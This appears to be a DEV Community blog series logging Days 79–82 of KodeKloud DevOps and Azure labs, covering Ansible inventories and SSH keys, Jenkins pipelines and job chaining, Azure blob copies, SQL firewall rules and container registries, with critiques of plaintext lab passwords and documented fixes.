DEV Community: Nnamdi Felix Ibe

Day 82: A Password Removed and a Copy That Stayed Put

Nnamdi Felix Ibe — Mon, 09 Nov 2026 18:20:21 +0000

Day 82 of DevOps, Day 32 of Azure. Both tasks today returned a cheerful single word that meant less than it looked.

Ansible said pong, which does not mean what most people think it means. Azure said success, which, for a small file, means finished, and for a large one, means scheduled. In both cases, the documentation is clear about the difference, and nothing in the output is.

One Ansible task, one Azure task. Fix an inventory file so Ansible can reach three servers, then migrate a blob between containers. The tasks come from the KodeKloud Engineer platform.

This is the first Ansible day. Days 82 to 93 are Ansible, which closes the gap I have been calling the clearest one on my CV since August.

Task 1: An inventory with three passwords in it

The task: modify the inventory so Ansible can reach all three app servers, and prove it works.

Here is what the lab hands you:

stapp01 ansible_ssh_pass=Ir0nM@n
stapp02 ansible_ssh_pass=Am3ric@
stapp03 ansible_ssh_pass=BigGr33

Three passwords, in a file, in plain text.

Step 1: Ansible's documentation states the rule at the point of use

I went in thinking replacing those with keys was good practice. It is stronger than that. Of ansible_password, the inventory documentation says flatly: "never store this variable in plain text; always use a vault."

And the same page sets the default expectation, which the lab file is working around rather than using: "By default, Ansible assumes you are using SSH keys to connect to remote machines", and "SSH keys are encouraged, but you can use password authentication if needed with the --ask-pass option."

So the supplied inventory does two things wrong at once. It stores secrets in plain text, and it bypasses the connection method the tool assumes, in order to avoid setting that method up.

Worth putting next to Day 80, nine days ago, where a Jenkins job had a server password typed into a build step three times over, readable by anyone with Configure on the job. Same decision, opposite outcome, and I do not think the difference is the engineer. Ansible tells you the rule in the variable's own description. Jenkins has no documentation page for the freestyle shell step at all.

A tool that states the rule where you are working gets the rule followed.

Step 2: The key, and the passphrase that matters more than it looks

thor@jump-host ~$ ssh-keygen
Generating public/private ed25519 key pair.
Enter passphrase for "/home/thor/.ssh/id_ed25519" (empty for no passphrase):

thor@jump-host ~$ ssh-copy-id tony@stapp01
Number of key(s) added: 1

Two things in that output are worth stopping on.

Bare ssh-keygen with no flags gives ed25519. Which is the Day 74 correction landing: I used -t rsa -b 4096 on Day 71 and -t rsa -b 2048 on Day 74, and neither was a decision, because the manual gives ed25519 as the default type and 3072 as the RSA default size. So one was an upgrade and the other a downgrade from a default I had not looked up. Omitting both flags, as here, takes the newer default and stops the question arising.

And the passphrase is empty, which turns out to matter more than it looks. In my notes for the next four days I wrote <Enter-your-passphrase> at that prompt instead, as a placeholder, and then showed a successful Ansible run.

Those two are not interchangeable, and this is the day whose transcript records which one actually happened. Ansible's connection documentation states the limitation outright: with the default ssh connection plugin, Ansible "does not expose a channel to allow communication between the user and the ssh process to accept a password manually to decrypt an ssh key."

A passphrase-protected key cannot be decrypted during an Ansible run. The documented way to use one is an agent, which the same page recommends: "The use of ssh-agent is highly recommended." None of my notes mention one.

So the options are an empty passphrase, which makes the key file itself the only credential, or a passphrase plus a loaded agent, which is better and one more step. A passphrase with no agent does not work, and a placeholder in a write-up reads as an instruction, so it is worth replacing with the real prompt.

Step 3: The inventory, and the group that isn't there

stapp01 ansible_user=tony
stapp02 ansible_user=steve
stapp03 ansible_user=banner

No group header. Ansible does not need one: "Even if you do not define any groups in your inventory file, Ansible creates two default groups: all and ungrouped", and "The all group contains every host."

So those three lines are addressable individually, as all, and as ungrouped. Every other day in this batch adds a [group] header, and this task works without one.

What the docs recommend

thor@jump-host ~/ansible$ ansible stapp01 -i inventory -m ping
stapp01 | SUCCESS => {
    "ansible_facts": {
        "discovered_interpreter_python": "/usr/bin/python3"
    },
    "changed": false,
    "ping": "pong"
}

That is the right verification for this task, and it is worth knowing exactly what it proves, because the name misleads.

The module's own documentation: "This is NOT ICMP ping, this is just a trivial test module that requires Python on the remote-node." And its narrow purpose and exactly what an inventory change needs: "It does not make sense in playbooks, but it is useful from /usr/bin/ansible to verify the ability to login and that a usable Python is configured."

Two things, then. The login, which is what the key was for. And a usable Python, which is why the reply carries discovered_interpreter_python rather than nothing. That field is the second half of the check, made visible.

Which means a host that is up, routable and listening on port 22 but has no Python fails this check, and a host unreachable by ICMP but reachable by SSH passes it. It is the correct tool for verifying an inventory and the wrong one for diagnosing a network.

Day 8 of this series, back in July, was titled on exactly this point. The documentation has not changed and the trap has not stopped being worth stating.

Task 2: A blob copied between containers

The task: create a private container, migrate a file into it, and prove the content is identical.

Step 1: The data never came to my machine

az storage blob copy start --destination-container $DEST --destination-blob devops.txt \
  --source-container $SRC --source-blob devops.txt

Azure does this inside the storage service. The bytes move between containers without passing through the client at all, which matters three ways.

Scale: identical command and identical cost for 33 bytes or 33 terabytes, with no local disk involved. Billing: a download followed by an upload pulls the data out of Azure and back in, billed as egress, where a same-account server-side copy transfers nothing externally. Speed: this returned immediately rather than streaming anything.

The naive version, download then upload, gives the same result for a small file and is the wrong habit to carry into a real migration.

Step 2: The word "success" is doing less work than it appears to

"copy_id": "d356b703-fd74-43df-8b00-77e4f5540992",
"copy_status": "success"

copy start schedules the operation and hands back a copy_id. For a small blob inside one storage account it finishes before the response is written, so the status reads success straight away.

A large blob, or a copy across accounts or regions, returns pending. Progress then lives on the destination blob rather than in the command's output:

az storage blob show -c $DEST -n devops.txt --query "properties.copy.{Status:status,Progress:progress}"

So a migration script cannot infer completion from what copy start returned. It has to poll until the status leaves pending, and handle failed and aborted.

Which is the same shape as pong in the first half of today. Both commands answer with one encouraging word, both words cover less ground than they suggest, and in both cases the documentation says precisely what the word covers.

Step 3: And the field names changed convention

This is why I ran the command without a --query first:

{
  "client_request_id": "...",
  "copy_id": "...",
  "copy_status": "success",
  "last_modified": "..."
}

Snake_case. Nearly every other az command returns camelCase, because the CLI serialises a typed SDK model. This one passes through a plain dictionary from the Python SDK, so the keys arrive as the SDK produced them. --query "{Status:copyStatus}" returns null; the correct form is --query copy_status.

Fourth variant of one problem in this track:

Variant	Example
Casing differs between resources	`diskSizeGB` against `diskSizeGb`, Day 8
Field absent from one command	`contentMd5` on upload, Day 18
Sparse response object	`siteConfig` on webapp create, Day 31
Different naming convention entirely	`copy_status`, here

One habit covers all four. Run an unfamiliar command with plain -o json once, then write the query. Guessing gives you null, and null is indistinguishable from an empty value.

What the docs recommend

The requirement was that both containers hold the file and the content is identical. Those are two claims and they need different evidence:

Check	Proves
`blob list` on both containers	The file exists in both
Matching `contentMd5`	The service believes the content matches
`cmp` on two downloads	The bytes are identical

The MD5 comparison is strong and still second-hand. It compares what Azure recorded at upload time, and a blob whose content settings were set wrongly would report a stale digest quite happily. cmp on the actual downloaded bytes is the only check that depends on nothing but the data.

While doing that, a nice demonstration of something Day 18 described without an example. Azure reported Lu7zilatbGguzSz2Ecn5IQ== and md5sum printed 2eeef38a56ad6c682ecd2cf611c9f921. Those are the same 16 bytes: decode the base64 and you get that hex string exactly. Worth knowing before concluding a checksum mismatch means corruption.

One last thing, on the task's title. It says "Synchronizing Containers" and the requirement is one file, which is the Day 14 pattern again: the title names a topic, the numbered requirements are the contract. If you did want the thing the title says, azcopy sync is it, because it compares source and destination and transfers only the differences. copy start-batch copies everything, every time.

What I learned

Two commands, two reassuring words, and neither means what it looks like.

pong means Ansible logged in and found a working Python interpreter. It says nothing about the network, and a perfectly reachable host with no Python fails it. success means the copy was scheduled, and for anything big enough to matter it will say pending instead and expect you to go and look somewhere else.

The useful part is that both tools document this precisely, in the place you would look if you thought to look. Which is the same thing the first half of today turned out to be about: Ansible puts "never store this variable in plain text" in the description of the variable itself, and that is why I replaced three passwords with a key without having to be clever about it.

Nine days ago I wrote up a Jenkins job with a password in its build step three times over. The difference between these two days is not that I got better at security. It is that one tool told me the rule where I was standing.

So here is the Day 82 question. Which of your green checks is reporting that something was scheduled rather than that it finished?

Day 82 down. Eighteen to go.

Day 81: Two Stages and a Regional Quota

Nnamdi Felix Ibe — Sun, 08 Nov 2026 14:00:00 +0000

Day 81 of DevOps, Day 31 of Azure. Both tasks today involved reading something that was not there.

A pipeline Test stage checks that an application is accessible, and would report success whether or not the Deploy stage that ran before it accomplished anything. And an Azure quota error left one field blank, and I read the blank as evidence about what the quota applied to.

One Jenkins task, one Azure task. Build a two-stage pipeline that deploys and then tests, then deploy a Python web app. The tasks come from the KodeKloud Engineer platform.

This is the last Jenkins day. Days 82 to 93 are Ansible, which is the gap I have been calling the clearest one on my CV since August.

Task 1: Two stages, deploy and test

The task: a Pipeline job named deploy-job with a Deploy stage that pulls from master and a Test stage that confirms the application is accessible.

Step 1: Stages, not jobs

Day 80 chained two jobs. This one uses two stages in one job, and both are right for what they are.

Deploy and restart on Day 80 were separate operations with separate reasons to exist, and manage-services is worth triggering on its own. Deploy and test here are one unit of work with one result. A stage boundary gives separate pass and fail reporting without separate configuration, which is exactly what you want when the only sensible response to a failed test is to look at the deployment that preceded it.

Step 2: The quoting, which goes the other way from Day 78

environment {
    APP_URL     = 'https://8091-port-ceyx5ty225wyfbc2.labs.kodekloud.com/'
    DEPLOY_DIR  = '/var/www/html'
}

stages {
    stage ('Deploy') {
        steps {
            sh """
                cd ${DEPLOY_DIR}
                git pull origin master
            """
        }
    }
}

Day 78's pipeline used sh '''...''', triple single quotes, which do not interpolate in Groovy, so the shell expanded the variable from its own environment. This one uses triple double quotes, which do.

So Groovy substitutes ${DEPLOY_DIR} into the command text before the agent receives it, and that is the pattern Jenkins documents as the thing to avoid. Groovy string interpolation "can inject rogue commands into command interpreters via special characters" and "can result in problems analogous to SQL injection", and the documented fix is to "use single quotes to avoid Groovy interpolation".

The exposure here is small, because these values come from the environment block rather than from a user. Nobody can set APP_URL at build time.

What makes it worth fixing anyway is that the double quotes buy nothing at all. The environment directive has already "defined as environment variables for all steps" every one of those names. They are in the shell's environment either way. Single quotes give an identical result, with the interpolation layer gone, so the day somebody adds a parameter to this pipeline the hazard is not already sitting there waiting for it.

Two pipelines in one batch, three days apart, on opposite sides of the one rule Jenkins documents about this. And the safer one is also the simpler one.

Step 3: The Test stage would pass without the Deploy stage

This is the finding worth keeping.

curl --fail --silent --show-error ${APP_URL} || (echo 'APPLICATION IS DOWN' && exit 1)

That checks that the application answers. It checks nothing about what was deployed.

A stale index.html from last month returns 200. A page from a different branch returns 200. The exact content the Deploy stage failed to install returns 200, as long as Apache is running.

So the stage proves the web server is up. The task's wording, "test if the application is accessible", is satisfied by that. Accessibility is not what a deployment pipeline needs to know immediately after deploying.

The walkthrough's own validation shows the gap without naming it. It changes index.html in the repository, runs the pipeline, and then opens a browser to check the new content appeared. That manual check is the real test. The pipeline's Test stage did not do it.

A stage that tested the deployment would assert on content:

curl --fail --silent --show-error "$APP_URL" | grep -q 'Welcome to xFusionCorp Industries'

Better still, compare against what the repository says it should be, so the assertion survives the next content change:

EXPECTED=$(git -C "$DEPLOY_DIR" show origin/master:index.html)
curl --fail --silent --show-error "$APP_URL" | diff -q - <(printf '%s' "$EXPECTED")

This is Day 76's lesson arriving in a new place. There, a backup job succeeded every ten minutes while its dump contained no tables at all, because nothing checked the content. Here, a Test stage passes while the Deploy stage could have done nothing. Exit codes tell you a command ran, not that it achieved anything.

What the docs recommend

Three smaller things, and the first is the kind of bug that makes a check worse than no check.

... || (echo 'APPLICATION IS DOWN' && exit 1)

That exit 1 runs inside a subshell, because of the parentheses, so it exits the subshell rather than the script. The build still fails, but only because the || list is the last command in the script and so its status becomes the script's. Move the curl anywhere, but the end and a failed check goes green. Braces fix it regardless of position:

curl --fail --silent --show-error "$APP_URL" || { echo 'APPLICATION IS DOWN'; exit 1; }

A Test stage whose failure path works by accident of line ordering is worse than no Test stage, because it reports success instead of nothing.

Second, --fail --silent --show-error is genuinely the right combination and worth knowing as a set: --fail turns an HTTP error status into a non-zero exit, --silent kills the progress meter, and --show-error puts the error message back so a failure says something.

Third, the sleep 5. It is honest about a real problem and solves it the way Days 22 and 23 argued against. A fixed sleep tuned to one run wastes time on a fast one and fails on a slow one. A retry loop around the curl waits on the condition instead.

And the URLs do not belong in the file. That hostname is session-specific, so a new lab brings a new one, and this pipeline then fails in the Test stage against a host that no longer resolves, which reads like an application outage. REPO_URL is declared and never used, too, since the Deploy stage pulls from whatever remote the existing working copy has. Same shape as Day 80's unused plugin: configuration that looks load-bearing and is not.

Task 2: A Python web app

The task: a Python web app on a B1 Linux App Service Plan, with two tags and without Application Insights.

Step 1: The error with the blank field

The first two labs both failed:

Operation cannot be completed without additional quota.
Additional details - Location:
Current Limit (B1 VMs): 0
Current Usage: 0

East US appeared in az appservice list-locations --sku B1, so the SKU was offered there. The limit was zero anyway.

I read that blank Location: field as evidence the limit was subscription-wide. I said trying another region would "most likely give the same message", and recommended reporting the lab as broken rather than running the one diagnostic I had just finished writing out.

B1 was created immediately in South Central US. The quota was regional. East US was exhausted.

The mistake was reasoning from an empty field. A blank Location means the message template did not populate it, not that the limit has no regional scope. When an error omits the field that would tell you its scope, test the scope rather than inferring it. The test was one command and I talked straight past it.

Which is today's other half, in the opposite direction. The Test stage reads a 200 as evidence of a successful deployment, which it is not. I read an absence as evidence of scope, which it was not. Both are conclusions drawn from something that was never saying what it looked like it was saying.

The related judgment was wrong in effect too. I listed every workaround as breaking a requirement, which was true of SKU changes and would have been true of a region change if East US were mandatory. Presenting that as "stop and report" closed off the option that worked.

Step 2: Plan and app are different things

az appservice plan create -n devops-learn-python --sku B1 --is-linux
az webapp create -n devops-webapp-347137090 -p devops-learn-python --runtime "PYTHON:3.10"

The plan is the compute: VM size, OS, region, and the thing that gets billed. The app is a workload running on it, and one plan can host several apps sharing its CPU and memory.

Two properties are fixed when you create the plan. The OS, where --is-linux produces reserved: true, and a Windows plan cannot host a Linux Python app. And the region, which the plan and every app on it inherit.

The SKU can change later with az appservice plan update --sku. Worth setting beside Day 79's finding that an ACR tier moves freely in either direction with no downtime: here one dimension scales and two are decided once.

reserved: true meaning "Linux" is a genuinely unhelpful field name. The app's kind: app,linux says it readably.

Step 3: Two syntaxes for one runtime value

Command	Format
`az webapp create --runtime`	`PYTHON:3.10`
`az webapp config set --linux-fx-version`	`PYTHON\
Stored value	{% raw %}`PYTHON\

The reference confirms the colon form for create: {% raw %}--runtime is "Canonicalised web runtime in the format of Framework:Version". The pipe form is what the API stores and what every read returns, so passing a colon to --linux-fx-version sets a literal string that matches no runtime.

az webapp list-runtimes prints the colon form, because it exists to feed --runtime. One thing worth knowing before trusting it: its --support parameter accepts {active, all, eol, near, supported} and defaults to supported, so end-of-life runtimes are hidden. A version that worked last year may simply not be listed, and --support all is how you tell a retired runtime from a typo.

One correction to my notes while I was in there. I had used --deployment-container-image-name as the container-mode flag. The CLI now marks it deprecated: "Option '--deployment-container-image-name' has been deprecated and will be removed in a future release." The point survives, since there is still no publish-mode flag and the mode is still inferred from which argument you pass. Only the flag name was stale.

What the docs recommend

Read configuration from the command whose job it is. The az webapp create output said:

"linuxFxVersion": "",
"pythonVersion": null,

Which looks like the runtime did not apply. It did:

az webapp config show -g $rg -n devops-webapp-347137090 --query linuxFxVersion
PYTHON|3.10

The create response returns a sparse siteConfig, with most fields unpopulated regardless of their real values. Third time this has caught me in the Azure track, after Day 18's missing contentMd5 and Day 29's null Tags. The response shape belongs to the command, not the resource.

pythonVersion being empty is correct rather than contradictory: it is the Windows stack field, and Linux apps express their whole runtime through linuxFxVersion. A check written against it would conclude no Python runtime was configured.

And verifying an absence takes two lookups, not one. App Insights leaves two traces, an instrumentation key in app settings and a microsoft.insights/components resource, so confirming it is off means enumerating both. Same reason as Day 27's NSG rule listing: when the requirement is that something is not present, you have to look at what exists rather than confirm what you intended.

What I learned

Two conclusions drawn from things that were not evidence.

The pipeline's Test stage is the one I would want to find before trusting it. It passes, it is named Test, it sits after a Deploy stage, and it would report success if the deployment had silently done nothing, because all it establishes is that Apache answers on a port. The walkthrough then checks the real thing by hand, in a browser, and does not notice that this is the actual test and the pipeline is not doing it.

My quota error was the same mistake with the parts swapped. A field was blank, and I treated the blankness as a fact about the quota rather than a fact about the message template. One command would have settled it, I had already written the command out, and I argued for giving up instead.

Both are the same habit seen twice: deciding what something means before checking what it says.

So here is the Day 81 question. Which of your tests would still pass if the thing it runs after had quietly done nothing at all?

Day 81 down. Nineteen to go.

Day 80: Two Chained Jobs and One Firewall Rule

Nnamdi Felix Ibe — Sat, 07 Nov 2026 18:00:00 +0000

Day 80 of DevOps, Day 30 of Azure. Both tasks today put a credential somewhere it did not belong, and in both cases the documented way out was one setting away.

A Jenkins job types a server password into a shell command, three times, in plain text. And an Azure SQL server ends up open to the internet with its admin password as the only thing in the way, behind a firewall rule whose notation means something other than it appears to.

One Jenkins task, one Azure task. Chain two jobs so a restart follows a deployment, then create a managed SQL database. The tasks come from the KodeKloud Engineer platform.

Task 1: Two jobs, chained

The task: nautilus-app-deployment pulls the latest code into /var/www/html, and manage-services restarts httpd afterwards.

Step 1: The chaining is the good part

Splitting this into two jobs is right, and worth saying before the rest of this section pulls the implementation apart.

Deploy and restart are separate concerns with separate failure modes. Chained, the restart does not run on a failed deployment, and manage-services can be triggered on its own when that is all you need.

Jenkins does not document the post-build action that does it. The "Build other projects" action, and the upstream and downstream relationship it creates, has no page under jenkins.io that I could find. Fourth day in this batch where the classic UI feature a task asks for is undocumented, after the Execute shell step, freestyle parameters, and the entire node configuration form.

Step 2: One plugin that does nothing

The prerequisites list three plugins, and one of them never gets used.

Publish Over SSH is described as "Send build artifacts over SSH". Everything it adds targets an SSH server defined under Manage Jenkins and Configure System, where each server needs "a name, hostname, username, and remote directory".

None of that was configured, and nothing in either job references it. The chaining uses the post-build action, and both jobs run their commands through Execute shell on the stapp01 agent.

Which is correct, and it is Day 75's work paying off: once the agent runs on the target server, a tool for reaching that server from somewhere else is redundant. The walkthrough's stated reason for installing it is an accurate description of the plugin. It is just not what this task needs.

Worth noticing as the mechanism by which plugin lists grow. Three installed, two used, and nothing ever says which is which.

Step 3: The password, three times

# nautilus-app-deployment
echo 'app-server-password' | sudo -S git config --global --add safe.directory /var/www/html
cd /var/www/html
echo 'app-server-password' | sudo -S git -C /var/www/html pull origin master

# manage-services
echo 'app-server-password' | sudo -S systemctl restart httpd

sudo -S is documented and does exactly what it is being used for: "Write the prompt to the standard error and read the password from the standard input instead of using the terminal device", with "The password must be followed by a newline character", which echo supplies. Sudo's own manual attaches no security warning to the flag, and I would rather say that than imply one exists.

The problem is not the flag. The build step lives in the job's config.xml, and anyone with Job/Configure on either job can read it in a browser. Day 73 granted Job/Configure on a job to two users, and nothing in the permission grid suggested that was a credential handover.

What the docs recommend

Here is what makes this worth more than "don't put passwords in jobs." The password is the fourth consequence of one unfixed thing, and you can watch the chain form.

/var/www/html is not writable by tony. So the job uses sudo. So the password goes into the build step. So git refuses to work in a repository owned by a different user than the one running it, because sudo guarantees that mismatch. So a safe.directory entry gets added to silence it.

Four consequences, one cause. Day 79's walkthrough solved the same underlying problem by checking the directory was owned by the job's user. Day 77's assumed it. This one escalates instead, and then spends three more lines managing the escalation.

One chown -R tony /var/www/html, by hand, once, and the jobs become:

git -C /var/www/html pull origin master

No sudo, no password, no safe.directory. (I could not retrieve git's own wording for that setting this time, so I am reading its purpose from the fact that the command is there at all: it would not be needed if the ownership matched.)

If the ownership genuinely cannot change, the second-best answer is a sudoers rule that needs no password, scoped to the two commands. Which is what Days 71 and 74 were quietly relying on without my noticing it was a design decision rather than a lab convenience. The third is a Jenkins credential binding, so the secret sits in the credential store behind its own permissions rather than in the job text.

Two smaller things in the same four lines. cd /var/www/html does nothing, because git -C already names the directory. And sudo -n would answer the question the password pipe is working around: it is documented to "Avoid prompting the user for input of any kind", and "If a password is required for the command to run, sudo will display an error message and exit." Run it once with -n, and you find out whether tony needed a password at all.

One last consequence of leaving it as written. git pull under sudo runs as root, so the files it writes into the document root become root-owned, and any later attempt to deploy without sudo fails. The escalation reinforces itself.

Task 2: A managed SQL database

The task: a Basic-tier database on a new logical server, 2 GiB, locally-redundant backups, publicly accessible.

Step 1: The server is not a server

An Azure SQL server is a logical container. It holds databases, the administrator login and the firewall rules, and it has no CPU, no memory, no patching, and no cost of its own. Billing is per database.

Different shape from AWS RDS on Day 31, where the instance is the billable compute and the thing you size:

	AWS RDS	Azure SQL
Billable unit	The instance	Each database
Sizing applies to	The instance	Each database
Network control	Security group	Server-level firewall rules

So two databases on one Azure SQL server are sized and billed independently. Two on one RDS instance share its compute.

Step 2: Three layers, not two

"publicNetworkAccess": "Enabled"

That only means the endpoint exists. By default, the server-level firewall "blocks all access to the public endpoint for the logical server", so the server would be reachable in name and unusable in fact.

I had written this up as two independent layers, the same shape as blob privacy on Day 16. There is a third, and Microsoft puts it in one sentence that is easy to read past: "Creating a firewall setting only allows clients to try to connect to your server. The client must still provide the necessary security credentials."

Endpoint enabled, source permitted, credentials accepted. The rule this task needed opens the middle one to the entire internet:

--start-ip-address 0.0.0.0 --end-ip-address 255.255.255.255

Which leaves the admin password as the only remaining control. Same position as the Jenkins job, arrived at from the other direction.

Step 3: The rule that means something else

Rule	Meaning
`0.0.0.0` to `255.255.255.255`	The entire internet
`0.0.0.0` to `0.0.0.0`	Allow Azure services and resources to access this server

The second is not a single-address rule. Microsoft: "To allow applications hosted inside Azure to connect to your SQL server, you need to enable Azure connections. To do this, create a firewall rule with starting and ending IP addresses set to 0.0.0.0." The portal toggle creates the same thing, named AllowAllWindowsAzureIps.

I had noted that it permits resources in any subscription. Microsoft's own warning is sharper, and the scope is wider than the toggle's label suggests: "Enabling this option allows connections from all Azure services, including services running in other customers' subscriptions. This rule doesn't restrict access to your subscription or resource group."

One detail I had missed, and it is the reassuring one: "By default, during creation of a new logical SQL server from the Azure portal, the Allow Azure Services and resources to access this server setting is set to No." Off unless asked for, which is the right default.

For anything real, Microsoft names the alternatives: "consider using virtual network service endpoints or private endpoints instead of the AllowAllWindowsAzureIps rule."

What the docs recommend

Basic is at its ceiling here in more than one dimension, and the one I had not recorded is the one that would matter.

5 DTUs maximum, 2 GB maximum storage. So asking for 2 GiB is asking for the largest database the tier allows, not a modest allocation.

And the backup window: Basic gets "1-7 day retention (default 7 days)", where Standard and Premium both offer "1-35 day retention". Long-term retention up to 10 years is available on all three.

Set that beside the backup redundancy this task asked for. Local is locally-redundant, three copies in one datacentre, and the only option that loses backups in a datacentre failure. So this database's recovery story is one week of backups, in one building. Both halves of that were requirements rather than choices, and together they are worth seeing as a whole.

One correction to my own note. I had written that vCore is "the current recommendation for anything real". Microsoft does not say that. The DTU model is described as "best suited for most customers with typical workloads", and vCore is presented as an alternative with features DTU lacks, such as Serverless and Hyperscale, plus control over hardware configuration. Preferring to reason about compute and storage separately is a fair argument. It is mine, not Microsoft's.

What I learned

Both tasks ended with a password as the last line of defence, and in both cases that was a consequence of something earlier rather than a decision anyone made.

The Jenkins one is the clearer lesson because you can follow the chain. The directory had the wrong owner. Everything after that, the sudo, the password in plain text, the git ownership workaround, exists to work around the first thing. Nobody decided to put a credential in a job. They decided not to run chown, and four lines later there is a password in a file two people can read.

The Azure one is a notation trap on top of a real exposure. 0.0.0.0 to 0.0.0.0 looks like the narrowest rule you could write and is one of the broadest, and the thing I had under-stated is how broad: all Azure services, in anyone's subscription. Meanwhile, the rule this task did ask for opens the server to the internet, and the Basic tier caps the backups that would get you out of trouble at seven days in one datacentre.

So here is the Day 80 question. The last credential you found hardcoded somewhere: what was it working around, and is that still true?

Day 80 down. Twenty to go.

Day 79: Polling and a Registry

Nnamdi Felix Ibe — Fri, 06 Nov 2026 18:00:00 +0000

Day 79 of DevOps, Day 29 of Azure. Both tasks today turned out to run somewhere other than where the configuration implied.

A Jenkins job set up to build on an agent polls the repository from the controller, which is the machine the last four days have been about getting work off. And a container image meant to be built by the registry got built on the lab host instead, because the permission for the server-side build was missing.

One Jenkins task, one Azure task. Make a job trigger itself on a commit, then create a container registry and push an image to it. The tasks come from the KodeKloud Engineer platform.

Task 1: A job that triggers itself

The task: a job named datacenter-app-deployment, running on the stapp01 agent, triggered when a commit lands on master, updating /var/www/html.

Step 1: Check the ownership first

Check that /var/www/html is owned by sarah before relying on it.

Small step, worth naming, because this batch answers one question three different ways. Day 77 assumed the agent's user could write to the document root. This day verifies it. Day 80 gives up and uses sudo with a password in the build step. The cheapest of the three is the one that just looks.

Step 2: Poll SCM, described accurately

My own note's explanation is correct and names the limitation, which is more than a lot of tutorials manage. Jenkins "periodically checks the source code repository (SCM = Source Code Management) for changes. It does not continuously listen for pushes like a webhook."

The documentation agrees: the trigger "Accepts a cron-style string to define a regular interval at which Jenkins should check for new source changes."

Two minutes, in this case. And it worked, verified the right way, by pushing a real commit and watching the build fire on its own:

[sarah@stapp01 web]$ git push origin master
To http://gitea:3000/sarah/web.git
   4d0f926..6ff653e  master -> master

The schedule should be H/2 * * * * rather than */2 * * * *, for Day 74's reason: H "should be used wherever possible" and is "a hash of the job name, not a random function", so it spreads load without becoming unpredictable. With a six-minute log copy from Day 74 and a ten-minute backup from Day 76 already on round intervals, all three will eventually fire together.

Jenkins also warns about short cycles specifically: "short cycles such as */3 or H/3 will not work consistently near the end of most months", because "Hashes are always chosen in the 1-28 range". Two minutes is shorter still.

Step 3: Notice where the polling happens

This is the part my notes do not mention, and it quietly undoes the point of the last four days.

The git plugin: "By default, the plugin polls by executing a polling process or thread on the Jenkins controller."

So the build runs on stapp01. The thing that decides every two minutes whether to run it runs on the Jenkins machine. Days 75 through 78 were all about moving work off the controller, for the reason Jenkins gives directly: "running tasks on the built-in node is discouraged for security, performance, and scalability reasons." Adding an agent moves the build. It does not move the trigger.

One thing the configuration gets right by accident. The plugin "polls remotely using ls-remote when configured with a single branch (no wildcards!)", which is a network call rather than a workspace checkout. Pointing the job at master specifically is what keeps it on that cheap path, and some branch-exclusion options forfeit it: "Using this behavior will preclude the faster remote polling mechanism."

What the docs recommend

There is a configuration that gets exactly what this task wants without the two-minute heartbeat, and it is not obvious from the UI.

For a push notification to trigger a build, the git plugin requires that a job "Have Build Triggers > Poll SCM enabled. No polling schedule is required."

That last sentence is the whole trick. Tick Poll SCM, leave the schedule box empty. Nothing polls on a timer, and the repository drives the build instead. Then, "To minimise the delay between a push and a build", you "configure the remote repository to use a Webhook to notify Jenkins of changes", or for a repository without one, "a post-receive hook in the remote repository to notify Jenkins".

Better on both axes this task cares about. The build starts when the commit lands rather than up to two minutes later, and nothing runs on the controller in between. Gitea does webhooks, so the lab could have done it.

The case for keeping a polling schedule is when the repository cannot reach Jenkins, which is a firewall problem rather than this one.

One more thing I would change. The agent's remote root here is /var/www/html, the same directory being deployed to. Day 77's walkthrough kept them separate, with the agent in /home/sarah/jenkins_agent. The remote root is where Jenkins creates its workspace, its jar cache and its own bookkeeping, so pointing it at a document root puts Jenkins' files inside what Apache serves, and makes a workspace wipe a document-root wipe. The extra cd in Day 77's build step buys both of those back.

Task 2: A registry and an image

The task: a container registry on the Basic tier, with an image built from a local Dockerfile and pushed as latest.

Step 1: The name is a hostname

"LoginServer": "devopsacr652387499.azurecr.io"

Which is why the task hands you a generated alphanumeric name instead of letting you pick devops-acr. Same reason as storage accounts on Day 16: the name becomes a DNS label, so hyphens and underscores are out.

My notes also gave the length range as 5 to 50 characters. I could not source that from the registry documentation this time, so I am recording it as unverified rather than repeating it. The DNS consequence is evidenced by the output above.

The task then asks for the image to be named after the registry, so the full reference repeats itself:

devopsacr652387499.azurecr.io/devopsacr652387499:latest
└──── registry (DNS) ───────┘ └── repository ───┘ └tag┘

Nothing creates that repository. It comes into existence when the first image is pushed under that path, which is ECR's model from Day 38 except that ECR makes you run create-repository first. The registry is the ARM resource; repositories inside it are not, which is why az resource list never shows them.

Step 2: The build that was supposed to happen in the cloud

The documented way to build an image for ACR needs no Docker at all:

az acr build -r $ACR -t $ACR:latest /root/pyapp

(AuthorizationFailed) The client ... does not have authorisation to perform action
'Microsoft.ContainerRegistry/registries/scheduleRun/action'

ACR Tasks needs scheduleRun on the registry, and the lab identity does not have it. So the fallback I had ready was closed, and the local Docker route was the only one left. Fortunately the host had Docker, because otherwise both paths were gone.

Worth separating two reasons a command can be unavailable, because they call for different responses:

Cause	Example	Signal
Not supported by the SKU	Geo-replication on Basic	The feature is rejected
Not permitted by RBAC	`scheduleRun` here	`AuthorizationFailed` naming the action

This was the second. az acr build works perfectly well on Basic; the identity could not invoke it. The error names the exact action, which is what you need when deciding whether to request a role or change approach.

Which is today's other half of the same question. In the Jenkins task, work I thought had moved to the agent partly stayed on the controller. Here, work I intended to run in Azure came back to the local host. Both times the machine doing the work was not the one the configuration implied.

Step 3: Three errors, one unset variable

Three commands ran before the export line, and not one of the errors mentions an empty variable:

docker push $ACR.azurecr.io/$ACR:latest   ->  invalid reference format
docker build -t $ACR.azurecr.io/$ACR:latest .
  ->  invalid tag ".azurecr.io/:latest": invalid reference format
az acr login -n $ACR                      ->  argument --name/-n: expected one argument

The middle one is the only useful message, because it echoes back the tag it actually received.

Two symptoms, one cause, and the second is the one that catches people:

Context	Symptom
Inside a string	Malformed value, `invalid reference format`
As a flag value	The argument vanishes, `expected one argument`

A flag whose value is an empty variable does not become an empty string. The shell removes the word entirely, so -n $ACR becomes -n followed by nothing, and the CLI reports a missing argument rather than an empty one. Echo variables after setting them, or use set -u and get an error that names the variable.

What the docs recommend

Two things, and the second corrects something I had written as a limitation.

Verify from the registry, not from the push. The push output says latest: digest: sha256:58110cf4..., which is the client reporting what it believes it did. az acr repository show-tags reads the server's own state, and matching digests is what ties the two together.

While doing that, a nice trap. show-tags lists latest, and show --image $ACR:latest returns "Tags": null. Both commands are correct: show --image addresses one manifest by tag and does not enumerate the tags pointing at it. Same pattern as Day 18's missing contentMd5 and Day 31's sparse create response. The response shape belongs to the command, not to the resource.

Now the correction. Basic's real limitation is the absence of private endpoints, which Premium alone supports, so a private AKS cluster pulling from a Basic registry does not work. I had written that up as a constraint to live with.

